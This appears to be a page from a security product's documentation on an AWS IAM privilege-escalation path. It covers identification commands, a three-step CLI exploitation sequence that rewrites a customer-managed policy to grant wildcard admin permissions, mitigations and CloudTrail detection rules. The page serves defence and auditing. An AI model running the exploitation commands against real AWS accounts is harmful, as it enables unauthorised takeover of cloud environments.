> For the complete documentation index, see [llms.txt](https://docs.forestall.io/fsprotect/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.forestall.io/fsprotect/edges/aws/aws_create_delete_policy_version.md).

# AWS\_CREATE\_DELETE\_POLICY\_VERSION

## Summary

|                            |                                                       |
| -------------------------- | ----------------------------------------------------- |
| **Forestall ACL Alias**    | AWS\_CREATE\_DELETE\_POLICY\_VERSION                  |
| **Affected Object Types**  | `AWSUser\|AWSRole\|AWSGroup → AWSIAMPolicy`           |
| **Exploitation Certainty** | High                                                  |
| **AWS IAM Action**         | `iam:CreatePolicyVersion` + `iam:DeletePolicyVersion` |

## Description

An attacker with both `iam:CreatePolicyVersion` and `iam:DeletePolicyVersion` on a customer-managed policy can bypass the AWS 5-version limit unconditionally. They delete an old non-default version to free a slot, then create a new default version with escalated permissions. The policy is rewritten regardless of how many versions existed before.

This is a **consolidated** privesc edge. Either action alone is insufficient. CreatePolicyVersion fails when 5 versions exist, and DeletePolicyVersion by itself only removes a version. Together they give unconstrained policy rewrite capability.

**Edge semantics:** `(Attacker:AWSUser|AWSRole|AWSGroup) -[AWS_CREATE_DELETE_POLICY_VERSION]-> (TargetPolicy:AWSIAMPolicy)`

Precondition: target must be a customer-managed (non-AWS-managed) policy.

## Identification

```bash
# Check who has both CreatePolicyVersion and DeletePolicyVersion
aws iam simulate-principal-policy \
  --policy-source-arn <attacker-arn> \
  --action-names iam:CreatePolicyVersion iam:DeletePolicyVersion \
  --resource-arns "arn:aws:iam::<account-id>:policy/*"

# List versions of a target policy
aws iam list-policy-versions --policy-arn <policy-arn>
```

PowerShell (AWS Tools):

```powershell
Test-IAMPrincipalPolicy -PolicySourceArn "<attacker-arn>" `
    -ActionName @("iam:CreatePolicyVersion","iam:DeletePolicyVersion") `
    -ResourceArn "arn:aws:iam::<account-id>:policy/*"
```

## Exploitation

```bash
# Step 1: List existing versions (need to delete one if already at 5)
aws iam list-policy-versions --policy-arn <policy-arn>

# Step 2: Delete a non-default version to free a slot
aws iam delete-policy-version \
  --policy-arn <policy-arn> \
  --version-id v1

# Step 3: Create a new default version with wildcard permissions
aws iam create-policy-version \
  --policy-arn <policy-arn> \
  --set-as-default \
  --policy-document '{
    "Version": "2012-10-17",
    "Statement": [{"Effect": "Allow", "Action": "*", "Resource": "*"}]
  }'
```

## Mitigation

* Restrict `iam:CreatePolicyVersion` and `iam:DeletePolicyVersion` to dedicated IAM administrator roles.
* Use SCPs to block policy documents containing `"Action":"*"` or `"Resource":"*"` outside approved pipelines.
* Apply IAM permission boundaries so that even a wildcard policy version cannot exceed the boundary.
* Enable AWS Config rule `iam-policy-no-statements-with-admin-access` to detect policies with wildcard permissions.
* Watch policy version counts; any policy sitting at or near 5 versions deserves a closer look.

## Detection

| CloudTrail Event      | Description                                         | Key Fields                                                                                                              |
| --------------------- | --------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------- |
| `DeletePolicyVersion` | A non-default policy version was deleted            | `requestParameters.policyArn`, `requestParameters.versionId`, `userIdentity.arn`                                        |
| `CreatePolicyVersion` | A new policy version was created and set as default | `requestParameters.policyArn`, `requestParameters.setAsDefault`, `requestParameters.policyDocument`, `userIdentity.arn` |

Alert when `DeletePolicyVersion` is followed by `CreatePolicyVersion` for the same `policyArn` in a short window, and the new `policyDocument` contains `"Action":"*"` or `"Resource":"*"`.

## References

* [AWS IAM: CreatePolicyVersion API](https://docs.aws.amazon.com/IAM/latest/APIReference/API_CreatePolicyVersion.html)
* [AWS IAM: DeletePolicyVersion API](https://docs.aws.amazon.com/IAM/latest/APIReference/API_DeletePolicyVersion.html)
* [Rhino Security Labs: AWS IAM Privilege Escalation Methods](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
* [HackTricks: AWS IAM Privesc, iam:CreatePolicyVersion](https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc)
